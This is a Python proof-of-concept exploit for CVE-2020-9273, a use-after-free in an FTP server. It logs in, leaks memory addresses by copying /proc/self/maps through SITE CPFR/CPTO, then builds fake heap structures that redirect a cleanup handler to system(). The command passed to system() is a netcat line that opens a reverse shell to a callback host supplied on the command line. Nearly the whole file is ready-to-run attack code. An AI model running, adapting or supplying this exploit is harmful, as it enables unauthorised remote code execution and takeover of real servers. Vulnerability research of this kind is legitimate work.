#!/usr/bin/env python3

#---------------------------------------------------------------------------------------------------------------
#
# Remote Code Execution PoC for CVE-2020-9273
#
#                                  - @lockedbyte -
#
#---------------------------------------------------------------------------------------------------------------

import socket
import threading
from _thread import *
from pwn import *
import time

# --- CONFIG ---
RHOST = '127.0.0.1'
RPORT = 21
LHOST = '0.0.0.0'
LPORT = 3247
CHOST = '127.0.0.1'
CPORT = 4444
REMOTE_USER = b'pwn'
REMOTE_PASS = b'pwn'
# --- END CONFIG ---

'''
>>> (12*256)+175 # FTP data channel port
3247
'''

buf_send_sz = 15000
off = 97664

completed = 0
leaked = 0
heap_base = 0
text_base = 0
libc_base = 0

raw_lk = b''
lkport = 0

def payload_sender():
	global completed
	global leaked
	global heap_base
	global text_base
	global libc_base
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		s.bind((LHOST, LPORT))
		s.listen()
		print('[+] Binding at ' + str(LHOST) + ':' + str(LPORT))
		conn, addr = s.accept()
		while(not leaked):
			continue
		sleep(5)
		print('[+] Received connection from: ' + addr[0] + ':' + str(addr[1]))
		with conn:
			print('[*] Sending payload...')
			# Attention! If fixing resp_pool value remember to change it aswell on line 233
			resp_pool = heap_base + 0x8c280 # 0x8c6e0 #0x98220
			fake_pool_rec = resp_pool - 0x10
			fake_cleanup_t = resp_pool + 0x50
			fake_block_hdr = resp_pool + 0x18
			dummy_writable = resp_pool - 0x1012
			gid_tab = heap_base + 0x307c8 # 0x30c28 #0x3c768
			tab_x = heap_base + 0x87168 # 0x875c8 #0x93798
			
			padding = b'X'*74
			#padding = b''
			
			structx = b''
			structx += p64(fake_cleanup_t) # resp_pool + 0x0 (p->first): fake->cleanups = resp_pool + 0x50
			structx += p64(fake_block_hdr) # resp_pool + 0x8 (p->last): resp_pool + 0x18 (fake blok)
			structx += p64(resp_pool + 0x20) # resp_pool + 0x10 (p->cleanups): resp_pool + 0x20
			# res = pr_table_get(cmd->notes, "displayable-str", NULL); // should return NULL
			structx += p64(tab_x + 0x18 - 0x28) # resp_pool + 0x18 (p->sub_pools): fake_blok->h.first_avail = tab + 0x18 - 0x28
			structx += p64(gid_tab - 0x90) # resp_pool + 0x20 (p->sub_next): gid_tab - 0x90 (we want to overwrite gid_tab->pool)
			structx += p64(gid_tab - 0x90) # resp_pool + 0x28 (p->sub_prev): gid_tab - 0x90 (we want to overwrite gid_tab->pool)
			structx += p64(dummy_writable) # resp_pool + 0x30 (p->parent): any writable address, not needed but as we have leak better to do that
			structx += p64(dummy_writable) # resp_pool + 0x38 (p->free_first_avail): any writable address, not needed but as we have leak better to do that
			structx += p64(dummy_writable) # resp_pool + 0x40 (p->tag): any writable address, not needed but as we have leak better to do that
			
			padx = b''
			padx += p64(0x5858585858585858) # pad between pool_rec struct and cleanup_t struct
			
			fake_cleanup = b''
			fake_cleanup += p64(resp_pool + 0x70)    # addr to command
			fake_cleanup += p64(libc_base + 0x55410) # system@GLIBC
			fake_cleanup += p64(0x4141414141414141)
			fake_cleanup += p64(0x4242424242424242)
			
			fake_cleanup += b'nc -e/bin/bash ' + CHOST.encode('utf-8') + b' ' + str(CPORT).encode('utf-8') +  b'\x00' # cmd str (arg for system())
			
			block = b''
			block += structx
			block += padx
			block += fake_cleanup
			
			payload2 = b''
			payload2 += padding
			payload2 += block*(int(buf_send_sz/8))
			#payload2 += b'\r\n'
			while True:
				try:
					for _ in range(20):
						conn.send(payload2)
					#conn.send(b'\r\n')
				except:
					break

			print('[*] Closing connection with FTP server...')
			conn.close()
			s.close()
			completed = 1

def parse_leak(raw_lk):
	lns = raw_lk.split(b'\n')
	
	for h in lns:
		if(not b'[heap]' in h):
			continue
		heap = int(b'0x'+h.split(b'-')[0], 16)
		break
	text = int(b'0x'+raw_lk.split(b'-')[0], 16)
	for l in lns:
		if(b'libcrypt' in l or b'libcap' in l or not b'libc' in l):
			continue
		libc = int(b'0x'+l.split(b'-')[0], 16)
		break
	return heap, text, libc

def leak_data_conn():
	global lkport
	global raw_lk
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		s.connect((RHOST, lkport))
		raw_lk = s.recv(20000)
		s.close()
	return

def leak():
	global raw_lk
	global leaked
	global heap_base
	global text_base
	global libc_base
	global lkport
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
	s.connect((RHOST, RPORT))
	print('[*] Receiving banner')
	resp = s.recv(1024)
	print('[*] Sending user...')
	s.send(b'USER ' + REMOTE_USER + b'\r\n')
	resp = s.recv(1024)
	print('[*] Sending pass...')
	s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
	resp = s.recv(1024)
	if(b'logged in' in resp):
		print('[+] Logged in')
	else:
		print('[-] Wrong credentials...')
		exit()
	s.send(b'SITE CPFR /proc/self/maps\r\n')
	resp = s.recv(1024)
	if(not b'350 File or di' in resp):
		print('[-] Something went wrong...')
		exit()
	s.send(b'SITE CPTO /tmp/pwn.me\r\n')
	resp = s.recv(1024)
	if(not b'250 Copy succ' in resp):
		print('[-] Something went wrong...')
		exit()
	s.send(b'TYPE I\r\n')
	resp = s.recv(1024)
	if(not b'200 Type set' in resp):
		print('[-] Something went wrong...')
		exit()
	s.send(b'PASV\r\n')
	resp = s.recv(1024)
	if(not b'227 Enter' in resp):
		print('[-] Something went wrong...')
		exit()
	s.send(b'RETR /tmp/pwn.me\r\n')
	
	a = int(resp.split(b',')[4])
	b = int(resp.split(b',')[5].split(b')')[0])

	rport = (a*256) + b
	lkport = rport
	
	sleep(3)
	
	start_new_thread(leak_data_conn, ())
	
	time.sleep(2)
	
	resp = s.recv(1024)
	if(not b'226 Transfe' in resp):
		print('[-] Something went wrong...')
		exit()
	
	if(raw_lk == b''):
		print('[-] Error trying to leak...')
		exit()
	
	heap_base, text_base, libc_base = parse_leak(raw_lk)
	
	sleep(0.4)
	
	leaked = 1
	
	s.close()
	
	print('[+] Leaked: heap base = ' + hex(heap_base))
	print('[+] Leaked: text base = ' + hex(text_base))
	print('[+] Leaked: libc base = ' + hex(libc_base))
		
	return
	
					
def main_thread():
	global leaked
	global heap_base
	global text_base
	global libc_base
	leak()
	pause()
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		resp_pool = heap_base + 0x8c280 # 0x8c6e0
		print('[*] Connecting to target: ' + str(RHOST) + ':' + str(RPORT))
		s.connect((RHOST, RPORT))
		print('[*] Receiving banner')
		resp = s.recv(1024)
		print('[*] Sending user...')
		s.send(b'USER ' + REMOTE_USER + b'\r\n')
		resp = s.recv(1024)
		print('[*] Sending pass...')
		s.send(b'PASS ' + REMOTE_PASS + b'\r\n')
		resp = s.recv(1024)
		if(b'logged in' in resp):
			print('[+] Logged in')
		else:
			print('[-] Wrong credentials...')
			exit()
		print('[*] forcing a use-after-free condition...')
		s.send(b'TYPE I\r\n')
		s.send(b'PORT 127,0,0,1,12,175\r\n')
		s.send(b'STOR /tmp/uaf\r\n')
		
		fake_gid_tab = b''
		fake_gid_tab += b'XXXX ' # actual command
		fake_gid_tab += b'AAA' # padding to fit address 
		fake_gid_tab += p64(resp_pool - 0x10)
		# "displayable-str" will be written here ...
		s.send(fake_gid_tab)
		s.close()

def main():
	global completed
	global leaked
	global heap_base
	global RHOST
	global RPORT
	global CHOST
	global CPORT
	global REMOTE_USER
	global REMOTE_PASS
	print('[i] CVE-2020-9273 PoC Exploit by @lockedbyte')
	if(len(sys.argv) < 7):
		print('[%] Usage: python3 exploit.py <target IP> <target port> <callback IP> <callback port> <username> <password>')
		exit()
	RHOST = sys.argv[1]
	RPORT = int(sys.argv[2])
	CHOST = sys.argv[3]
	CPORT = int(sys.argv[4])
	REMOTE_USER = sys.argv[5].encode('utf-8')
	REMOTE_PASS = sys.argv[6].encode('utf-8')
	start_new_thread(payload_sender, ())
	start_new_thread(main_thread, ())
	while True:
		if(completed == 1):
			print('[i] Check callback: ' + str(CHOST) + ':' + str(CPORT) + ' for a reverse shell')
			print('[+] Exploit completed')
			exit()
		continue

if __name__ == '__main__':
	main()
